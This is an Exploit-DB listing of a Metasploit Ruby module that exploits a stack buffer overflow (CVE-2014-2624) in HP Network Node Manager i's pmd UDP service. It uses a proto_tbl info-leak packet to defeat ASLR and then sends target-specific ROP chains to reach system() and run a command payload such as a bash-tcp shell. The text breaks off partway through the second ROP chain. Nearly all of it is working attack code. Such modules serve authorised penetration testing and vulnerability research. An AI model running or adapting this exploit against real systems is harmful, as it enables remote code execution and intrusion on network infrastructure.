Exploit-DB #34866
Description: HP Network Node Manager I - PMD Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2014-10-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Network Node Manager I PMD Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
        vulnerability exists in the pmd service, due to the insecure usage of functions like
        strcpy and strcat while handling stack_option packets with user controlled data. In
        order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
        the stack and finally build the rop chain to avoid NX.
      },
      'Author'         =>
        [
          'd(-_-)b',     # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-2624'],
          ['ZDI', '14-305']
        ],
      'Payload'        =>
        {
          'BadChars'    => "\x00",
          'Space'       => 3000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
            }
        },
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          ['Automatic', {}],
          ['HP NNMi 9.10 / CentOS 5',
            {
              # ptr to .rodata with format specifier
              #.rodata:0003BE86 aS_1            db '%s',0
              'ov_offset'      => 0x3BE86,
              :rop             => :rop_hp_nnmi_9_10
            }
          ],
          ['HP NNMi 9.20 / CentOS 6',
            {
              # ptr to .rodata with format specifier
              #.rodata:0003C2D6 aS_1            db '%s',0
              'ov_offset'      => 0x3c2d8,
              :rop             => :rop_hp_nnmi_9_20
            }
          ]
        ],
      'Privileged'     => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
      'DisclosureDate' => 'Sep 09 2014',
      'DefaultTarget'  => 0
      ))

    register_options([ Opt::RPORT(7426) ], self.class)
  end

  def check
    header = [
      0x2a5,  # pmdmgr_init pkt
      0x3cc,  # signature
      0xa0c,  # signature
      0xca8   # signature
    ].pack("V")

    data = "\x00" * (0xfa4 - header.length)

    pkt = header + data

    connect_udp
    udp_sock.put(pkt)
    res = udp_sock.timed_read(8, 1)
    if res.blank?
      # To mitigate MacOSX udp sockets behavior
      # see https://dev.metasploit.com/redmine/issues/7480
      udp_sock.put(pkt)
      res = udp_sock.timed_read(8)
    end
    disconnect_udp

    if res.blank?
      return Exploit::CheckCode::Unknown
    elsif res.length == 8 && res.unpack("V").first == 0x2a5
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    connect_udp
    # info leak with a "proto_tbl" packet
    print_status("Sending a 'proto_tbl' request...")
    udp_sock.put(proto_tbl_pkt)

    res = udp_sock.timed_read(13964, 1)
    if res.blank?
      # To mitigate MacOSX udp sockets behavior
      # see https://dev.metasploit.com/redmine/issues/7480
      udp_sock.put(proto_tbl_pkt)
      res = udp_sock.timed_read(13964)
    end

    if res.blank?
      fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
    end

    if target.name == 'Automatic'
      print_status("Fingerprinting target...")
      my_target = auto_target(res)
      fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
    else
      my_target = target
      fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
    end

    print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")

    # exploit with a "stack_option_pkt" packet
    udp_sock.put(stack_option_pkt(my_target, @ov_base))

    disconnect_udp
  end

  def rop_hp_nnmi_9_10(ov_base)
    rop = rand_text_alpha(775)
    rop << [0x808d7c1].pack("V")          # pop ebx ; pop ebp ; ret
    rop << [ov_base + 0x481A8].pack("V")  # ebx: libov .got
    rop << [0x8096540].pack("V")          # ptr to .data where user controlled string will be stored:
                                          # "PMD Stack option specified, but stack not available (user_controlled)"
    rop << [0x808d7c2].pack("V")          # pop ebp # ret
    rop << [0x08096540 + 4732].pack("V")  # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
    rop << [ov_base +  0x1D692].pack("V") # ptr to 'call _system' sequence:
                                          #.text:0001D692  lea     eax, [ebp+dest]
                                          #.text:0001D698  push    eax             ; command
                                          #.text:0001D699  call    _system
    rop
  end

  def rop_hp_nnmi_9_20(ov_base)
    rop = rand_text_alpha(775)
    rop << [0x808dd70].pack("V")                      # pop eax ; pop ebx ; pop ebp ; ret
    rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
                                                      #.text:0001DAE6  lea     eax, [ebp+dest] (dest = -0x1028)
                                                      #.text:0001DAEC  push    eax             ; command
                                                      #.text:0001DAED  call    _system
    rop << [0x08097160].pack("V")                     # ebx: ptr to .data where user controlled string will be stored: